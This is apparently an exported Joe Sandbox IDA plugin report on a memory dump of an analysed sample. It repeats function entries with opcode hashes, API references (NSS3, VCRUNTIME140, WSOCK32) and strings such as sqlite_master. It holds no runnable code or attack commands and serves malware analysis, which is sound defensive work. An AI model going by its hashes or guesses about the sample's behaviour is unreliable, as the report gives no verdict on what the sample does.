Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: f48fc30de9e9ed63c20d8d82c7b611993432c82c3df9d689f26ac7cae08d8138
Instruction ID: 0ee85f9af7281d5e19e6709f368e76389c86f2f90953c70b34c1bad4e774010e
Opcode Fuzzy Hash: f48fc30de9e9ed63c20d8d82c7b611993432c82c3df9d689f26ac7cae08d8138
Instruction Fuzzy Hash: 6DF1DD71F122168BDF45CF28C9403A97BF4AB8B348F25822DC905DB754E770A991CBC1

Function 6CEDDFC0 Relevance: 6.3, APIs: 3, Strings: 1, Instructions: 344stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,00000003,?,6CDB5001,?,00000003,00000000), ref: 6CEDDFD7
memset.VCRUNTIME140(00000000,00000000,?,?,?,00000003,?,6CDB5001,?), ref: 6CEDE2B7
memcpy.VCRUNTIME140(00000028,00000003,?,?,?,?,?,?,00000003,?,6CDB5001,?), ref: 6CEDE2DA

Strings

W, xrefs: 6CEDE111

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpymemsetstrlen
String ID: W
API String ID: 160209724-655174618
Opcode ID: 82f92e2fb6ba70784a007c0d499a52abdd170d56a817b73b25e754e09b4823d9
Instruction ID: 94b396a981fb07f2ca31443f8a6008c5c92021df0ab6c54643c9275900f76ecc
Opcode Fuzzy Hash: 82f92e2fb6ba70784a007c0d499a52abdd170d56a817b73b25e754e09b4823d9
Instruction Fuzzy Hash: 58C1D831B04A558BDB04CE2984947BAF7B1AF8631CF3A8169DC699BB41D731B903C7D0

Function 6CEA0E20 Relevance: 6.3, APIs: 2, Strings: 2, Instructions: 279COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,00000000,00000000,00000000), ref: 6CEA1052
memset.VCRUNTIME140(-0000001C,?,?,00000000), ref: 6CEA1086

Strings

h(l, xrefs: 6CEA1062, 6CEA105D, 6CEA0F37, 6CEA1081, 6CEA1082
h(l, xrefs: 6CEA0E55, 6CEA0EC4, 6CEA0F3A, 6CEA0FA7

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: memcpymemset
String ID: h(l$h(l
API String ID: 1297977491-3413317348
Opcode ID: ba95aa887a5128d922437b3b6939b5f868dd9de6f1ba5cfd10270c164b58c382
Instruction ID: b9d744caa8792bab17c48c0f23b71974736b1dfe0d6df4bd41dc8b1766d36618
Opcode Fuzzy Hash: ba95aa887a5128d922437b3b6939b5f868dd9de6f1ba5cfd10270c164b58c382
Instruction Fuzzy Hash: 4DA12075A0124A9FDF08CFD9C8909EEBBB6BF4D314B248169E915AB700D735EC12CB90

Function 6CDC6F10 Relevance: 5.2, Strings: 4, Instructions: 218COMMON

Download Yara Rule

Strings

unordered*, xrefs: 6CDC702B
sz=[0-9]*, xrefs: 6CDC7049
noskipscan*, xrefs: 6CDC7067
*?[, xrefs: 6CDC7034, 6CDC7052, 6CDC7070

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: *?[$noskipscan*$sz=[0-9]*$unordered*
API String ID: 0-3485574213
Opcode ID: faa3f02c0641a9d8e985e752a28899134b36e9391cc86289458c15da86538006
Instruction ID: ad7a389fbe4ed860f48738310406c8ac306fd0bb0d291f00286a46abbfa64090
Opcode Fuzzy Hash: faa3f02c0641a9d8e985e752a28899134b36e9391cc86289458c15da86538006
Instruction Fuzzy Hash: 2C718D72F041115BEB108F6DC8803AE77AA9F85314F264279CD99ABBE1D6718C4787D3

Function 6CDE3EC0 Relevance: 4.3, Strings: 3, Instructions: 583COMMON

Download Yara Rule

Strings

sqlite_master, xrefs: 6CDE463F
sqlite_, xrefs: 6CDE3FAA, 6CDE4185
sqlite_temp_master, xrefs: 6CDE460F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: sqlite_$sqlite_master$sqlite_temp_master
API String ID: 0-4221611869
Opcode ID: 75020a5a64d9bf97a28cc3ae2171a4ce90f5f1aef212ba6a87dcc6ca036e2e0d
Instruction ID: 26ff728f495b1e267f3ce81a62d3f5d7bccafefbbbf228245d25029b808ff4e6
Opcode Fuzzy Hash: 75020a5a64d9bf97a28cc3ae2171a4ce90f5f1aef212ba6a87dcc6ca036e2e0d
Instruction Fuzzy Hash: E2226B21B49195CFDB45CBA580606B67BF2AF4E31CB6885ACC9E59FF72C229E841C740

Function 6CF1BE70 Relevance: 4.0, APIs: 1, Strings: 1, Instructions: 1029COMMON

Download Yara Rule

Strings

`, xrefs: 6CF1C0B6

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: `
API String ID: 0-2679148245
Opcode ID: 1fb6c9de1ef8c4ab0f8b620e2af3a576b86ec4b1265637fa44273585d5520b15
Instruction ID: 1eb04cb5b1a004046e36ccba341f8d928e089d2f0cdc21525d6623d60d1c8684
Opcode Fuzzy Hash: 1fb6c9de1ef8c4ab0f8b620e2af3a576b86ec4b1265637fa44273585d5520b15
Instruction Fuzzy Hash: 97928F74A08249CFDB05DF95C890BAEB7B2FF88318F284169D815ABB91D735EC46CB50

Function 6CDB3D80 Relevance: 3.7, APIs: 1, Strings: 1, Instructions: 164COMMON

Download Yara Rule

APIs

htonl.WSOCK32(00000000), ref: 6CDB3EA9

Strings

0, xrefs: 6CDB3DAB

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: htonl
String ID: 0
API String ID: 2009864989-4108050209
Opcode ID: 87311f59002a3ec42549b5160302f969138a61d28203c83836286e97c7193275
Instruction ID: a78080daae379870e9e9839fd05edeae5e82117c4844c9b38654cf3db875f655
Opcode Fuzzy Hash: 87311f59002a3ec42549b5160302f969138a61d28203c83836286e97c7193275
Instruction Fuzzy Hash: D55179B1E481B9CBDB15877D88603FFBBB09B82314F19432BD5A377AE0CA348505A790

Function 6CE5EE70 Relevance: 3.2, APIs: 2, Instructions: 223COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE005,00000000), ref: 6CE5F019
PK11_GenerateRandom.NSS3(?,00000000), ref: 6CE5F0F9

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: ErrorGenerateK11_Random
String ID:
API String ID: 3009229198-0
Opcode ID: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction ID: 40491f5b534aca33bf7aaeaa14ee609fef6f34b0d38dea08103ef92015cee4de
Opcode Fuzzy Hash: f28674b34aa5c963032b75bc96fe7a21ab5569db4e47a29f8ddf8cc7e5d013c4
Instruction Fuzzy Hash: 8C91CF71A0071A8BCB14CF68C8916AEB7F2FF85324F64472DD962A7BC0D735A905CB91

Function 6CE82F70 Relevance: 3.1, APIs: 2, Instructions: 149COMMON

Download Yara Rule

APIs

PR_SetError.NSS3(FFFFE09A,00000000,00000000,?,6CEA7929), ref: 6CE82FAC
PR_SetError.NSS3(FFFFE040,00000000,00000000,?,6CEA7929), ref: 6CE82FE0

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Error
String ID:
API String ID: 2619118453-0
Opcode ID: 28d78d4843bad56aef4e6cc30c9b610035cb68ea7ee892e5f256a4933e99c92f
Instruction ID: ad516df5bf3d86a167eaa55942fe98ef2777dee554818a41c2ec86acf8718391
Opcode Fuzzy Hash: 28d78d4843bad56aef4e6cc30c9b610035cb68ea7ee892e5f256a4933e99c92f
Instruction Fuzzy Hash: 7C51D071A079118FDB10CE59C880B6AB3B1FB4671CF394169D90DABB12D735E946CB81

Function 6CDCAC60 Relevance: 2.7, Strings: 2, Instructions: 181COMMON

Download Yara Rule

Strings

winUnlock, xrefs: 6CDCAE18
winUnlockReadLock, xrefs: 6CDCAE9F

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: winUnlock$winUnlockReadLock
API String ID: 0-3432436631
Opcode ID: 16ab88d9ef03216c80fa0022188ceb7ce4a441aaa6cacc4efd3acba0c54d1447
Instruction ID: bea80d9cf23d0d35deb357980d6708743d15e5aa97bc4d481c28833e453883dd
Opcode Fuzzy Hash: 16ab88d9ef03216c80fa0022188ceb7ce4a441aaa6cacc4efd3acba0c54d1447
Instruction Fuzzy Hash: 11718074B142409BDB44CF28D894BAABBF5FF8A314F14C618F95997211D730A985CBD2

Function 6CE8ED70 Relevance: 1.7, APIs: 1, Instructions: 217memoryCOMMON

Download Yara Rule

APIs

PORT_ArenaAlloc_Util.NSS3(00000000,0000003C), ref: 6CE8EE3D

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: Alloc_ArenaUtil
String ID:
API String ID: 2062749931-0
Opcode ID: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction ID: ed7c91a08d007b36ef0bcda21a00dd7a46e3d4a4e6cea07c9f715a713d67c1e1
Opcode Fuzzy Hash: b51203e4b2318080346e191dc444ed80196527117a86a943b733acd6992df4c0
Instruction Fuzzy Hash: 7E71D276E02B018FD718CF59C88166AB7F2BB88308F25862DD85A97B91D730E901CBD1

Function 6CDB5F30 Relevance: 1.6, APIs: 1, Instructions: 350stringCOMMON

Download Yara Rule

APIs

strcmp.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000000), ref: 6CDB6013

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: strcmp
String ID:
API String ID: 1004003707-0
Opcode ID: bc7d74e3b695512aea8b049c545e026a82d56ae339396d4e040c2f842fea5568
Instruction ID: 54202004a42f5e63c2c809d55b49a186d779396e6bae491c252b9ed9bd808b33
Opcode Fuzzy Hash: bc7d74e3b695512aea8b049c545e026a82d56ae339396d4e040c2f842fea5568
Instruction Fuzzy Hash: 8BC1D5F0A05505CBDB088F16C4507AEB7F2AF49318F688169D99BE7BB1D735E842C790

Function 6CDC4DB0 Relevance: 1.6, Strings: 1, Instructions: 318COMMON

Download Yara Rule

Strings

winUnlockReadLock, xrefs: 6CDC5125

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID: winUnlockReadLock
API String ID: 0-4244601998
Opcode ID: 88e8673b71846201691b0730e6a2c247e325fd017ffaac20b80ef9bd6d26898f
Instruction ID: 8d7a8fc8f91a0c0548204a4d07ecac068f9a0b35a71a089aad0d28236ace7645
Opcode Fuzzy Hash: 88e8673b71846201691b0730e6a2c247e325fd017ffaac20b80ef9bd6d26898f
Instruction Fuzzy Hash: 46E12C74A29340DFDB44DF28D48476ABBF0FF8A318F11861DE89997261E7309985CF82

Function 6CF45E60 Relevance: 1.4, APIs: 1, Instructions: 163COMMON

Download Yara Rule

APIs

Part of subcall function 6CF45B90: PR_Lock.NSS3(00010000,?,00000000,?,6CE2DF9B), ref: 6CF45B9E
Part of subcall function 6CF45B90: PR_Unlock.NSS3 ref: 6CF45BEA

memset.VCRUNTIME140(00000014,00000000,-000000D7,?,?,?,?,?,?,?,?,6CF45E23,6CE2E154), ref: 6CF45EBF

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: LockUnlockmemset
String ID:
API String ID: 1725470033-0
Opcode ID: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction ID: a911b8d9960d2e788937a8efa39a5295b39a4fbc11940e1c4d0566de6b3f3245
Opcode Fuzzy Hash: 765870e01ac74a1a285e53e67be40ac57547b096a3347e8632765bb24f41ae14
Instruction Fuzzy Hash: 82518D72E0021A8FDB18CF59C8819AEF7B2FF98314B19856DD815B7755E730A941CBA0

Function 6CEFDCD0 Relevance: .4, Instructions: 371COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 0bfe94d2d20b789d6f05faf095050e46af4bb19cabc558eab2953a9de0425024
Instruction ID: 5bca976bb99534939b372795227f9efc8cf18af11738ed467dc9a83b2cb7b93e
Opcode Fuzzy Hash: 0bfe94d2d20b789d6f05faf095050e46af4bb19cabc558eab2953a9de0425024
Instruction Fuzzy Hash: 48F15B75A012058FDB08CF19C490BAA7BB2BF89318F294168D8299F751DB35ED43CBE1

Function 6CE91DC0 Relevance: .3, Instructions: 345COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction ID: 020bf9f530650c3dcb931e1355bc29a30e40931fc892065a4e1205cae363904a
Opcode Fuzzy Hash: 5cf8dc963f7f79db549299581b4ae9ef430c02c880e9910e3ec163e0518b33a5
Instruction Fuzzy Hash: E9D15772A046568BDF118E58C8853DE7773AB96328F2D4368CC641B7C6C37B9906C7D1

Function 6CE28EA0 Relevance: .1, Instructions: 57COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: e534fd90e73ff304834d54846a5881d3976d1eab2d622eb9a262a08277d6b764
Instruction ID: eacb1dd8dc445196ff95422b26df9530a27e2ec7975ade7ab3c4466c18d442bf
Opcode Fuzzy Hash: e534fd90e73ff304834d54846a5881d3976d1eab2d622eb9a262a08277d6b764
Instruction Fuzzy Hash: B911BF33A012198BE728CF24D88575AB7B5BF4231CF28426AD8158FB55C779E896C7C1

Function 6CF00C40 Relevance: .1, Instructions: 55COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 037532be7caf0ab74914c935d1b90bcc71b5b324204061607909f475d2f903f0
Instruction ID: 2741a0863332df43955ff5fe6b2806c1204d7d07269a5425d130eabd9a17ee56
Opcode Fuzzy Hash: 037532be7caf0ab74914c935d1b90bcc71b5b324204061607909f475d2f903f0
Instruction Fuzzy Hash: 9411BF757043059FCB00DF18C89066A77A1EF85768F14C06DD8198B711DB71E806DBA0

Function 6CE73FF0 Relevance: .0, Instructions: 27COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885671306.000000006CF4F000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885736377.000000006CF8E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1885767319.000000006CF8F000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886121497.000000006CF90000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000000.00000002.1886160462.000000006CF95000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cdb0000_file.jbxd

Similarity

API ID: CriticalEnterSectionUnlockValue$Error
String ID:
API String ID: 2275178025-0
Opcode ID: 52235c67e5af8ae9a927f9add12bfa779b819e2f4649689eea28abf2b9050aac
Instruction ID: 54da8257f7d91ae450d02bca296e28e8fb318052d99df264f3962916f9a346aa
Opcode Fuzzy Hash: 52235c67e5af8ae9a927f9add12bfa779b819e2f4649689eea28abf2b9050aac
Instruction Fuzzy Hash: C7F0BE70E007598BCB50DF28C4402DAB7F4EF0D244F108619EC8AAB300EB30AAC4C7C1

Function 6CF00D60 Relevance: .0, Instructions: 26COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1885448553.000000006CDB1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6CDB0000, based on PE: true

Associated: 00000000.00000002.1885412851.000000006CDB0000.00000002.00000001.01000000.00000009.sdmpDownload File
